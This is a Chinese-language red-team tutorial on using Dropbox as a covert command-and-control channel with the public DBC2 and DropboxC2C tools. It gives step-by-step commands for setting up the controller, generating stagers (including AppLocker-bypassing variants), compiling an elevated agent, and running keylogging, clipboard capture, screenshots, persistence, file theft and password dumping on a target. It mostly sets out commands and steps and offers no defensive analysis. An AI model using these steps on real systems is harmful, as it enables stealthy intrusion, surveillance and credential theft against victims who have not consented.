目前,许多公司使用DropBox作为共享工具和托管数据,因此对DropBox服务器的流量被限制或归类为恶意域是不常见的,由此可以通过滥用DropBox的功能并将其用作命令和控制中转工具来使用。
关于DropBox利用可以通过DropBoxC2工具来实现,该工具使用DropBox API在控制端和被控制端之间进行通信,因为它完全在内存中运行并且流量被加密,所以相对而言较为隐蔽,工具体现架构如下所示:
在第一次使用Dropbox之前,我们需要先去官网(http://www.dropboxchina.com )创建一个账号(Al1ex/xxxxxx@163.com/xxxxxxx):
之后通过邮箱进行激活:
git clone https://github.com/Arno0x/DBC2 dbc2
cd dbc2
pip install -r requirements.txt
chmod +x dropboxC2.py
在控制端与被控制端之间的通信需要通过DropBox API来执行,因此我们首先需要创建新的应用程序才能生成API秘钥:
https://www.dropbox.com/developers/apps/create
之后生成AccessToken:
之后我们需要在DropBoxC2项目下的config.py文件(defaultAccessToken参数)中输入API密钥,否则用户需要在每次DBC2启动时都需要插入密钥:
当DropBoxC2运行时,用户需要设置一个主密码,它将用于加密代理和控制器之间的所有数据
在使用DropBox之前我们需要设置Modules和Stage:
publishStage dbc2_agent.exe
之后将在DropBox上生成一个文件,该文件将进行XOR加密:
Dropbox C2可以生成从简单的.bat文件到可以绕过AppLocker的msbuild和sct的各种stager,以及从rubber ducky到macro的各种stager,从而在红队交战期间提供多个利用场景的能力,我们可以在终端输入"genStager"加空格然后两下tab可列出所有的可使用genStager类型:
我们可以通过以下命令可轻松生成Stager:
genStager oneliner default
genStager batch default
从stager在目标主机上执行的时刻开始,将会生成一个Agent ID值并将其与Beacon相关联:
同时将在DropBox上生成两个文件,这两个文件将声明代理的状态以及将传递给目标的命令,这些文件的内容是加密的,以保持通信的机密性
然后可以使用代理ID以便与目标交互并执行命令
DropBoxC2还具有传输文件功能,通过交互式shell执行PowerShell命令以及从目标主机获取屏幕截图的功能,它还支持键盘记录功能,可以启动另一个进程,一些命令可以在下面找到:
sendFile
getFile
首先创建一个文件:
之后下载文件,需要注意的是在Windows系统中路径信息的处理需要使用"\\"而非"\":
桌面截屏
screenshot
键盘记录
keylogger start
粘贴板记录
clipboardLogger start
创建计划任务
persist
此外,还可以使用各种PowerShell模块来执行其他任务,例如获取反向shell,转储密码哈希或从内存中检索明文密码等:
Dropboxc2c是一个post-exploitation代理,它使用dropbox基础结构进行命令和控制操作。
下载工具到本地:
git clone https://github.com/0x09AL/DropboxC2C.git
安装所需要的依赖项:
修改main.py和agent.py中的API Key(DropBox中的Access Key): https://www.dropbox.com/developers/apps/info/uiozsdgxxxxxxxxxxxnfa8
之后在目标Windows(需要Python环境)主机上执行以下命令编译一个agent.exe,需要注意的是需要使用Python2,同时要安装requirements.txt文件中的第三方依赖包(如果下次再编译时需要删除dist、build文件夹以及agent.spec文件):
pip install -r requirements.txt
pip install dis3
pip install pypiwin32 #笔者在window中运行exe文件时报错,读者可以自我根据环境来安装与编译,建议CMD下运行
pyinstaller --onefile --uac-admin agent.py
#建议在目标主机上进行编译,因为笔者这边测试时发现在另一台win主机上编译好的在目标主机上无法正常执行,跨平台较差
之后在攻击主机上运行main.py文件
python main.py
之后在目标主机上执行agent.exe文件
之后再攻击主机中可以看到上线:
使用帮助
help
交互模式
interact DESKTOP-H24D0M0-79461740925497
执行命令
从help中我们可以看到还有键盘记录、bypassuac、权限维持等功能,这些不再赘述,在使用中结合场景进行使用即可:
https://github.com/Arno0x/DBC2
https://github.com/0x09AL/DropboxC2C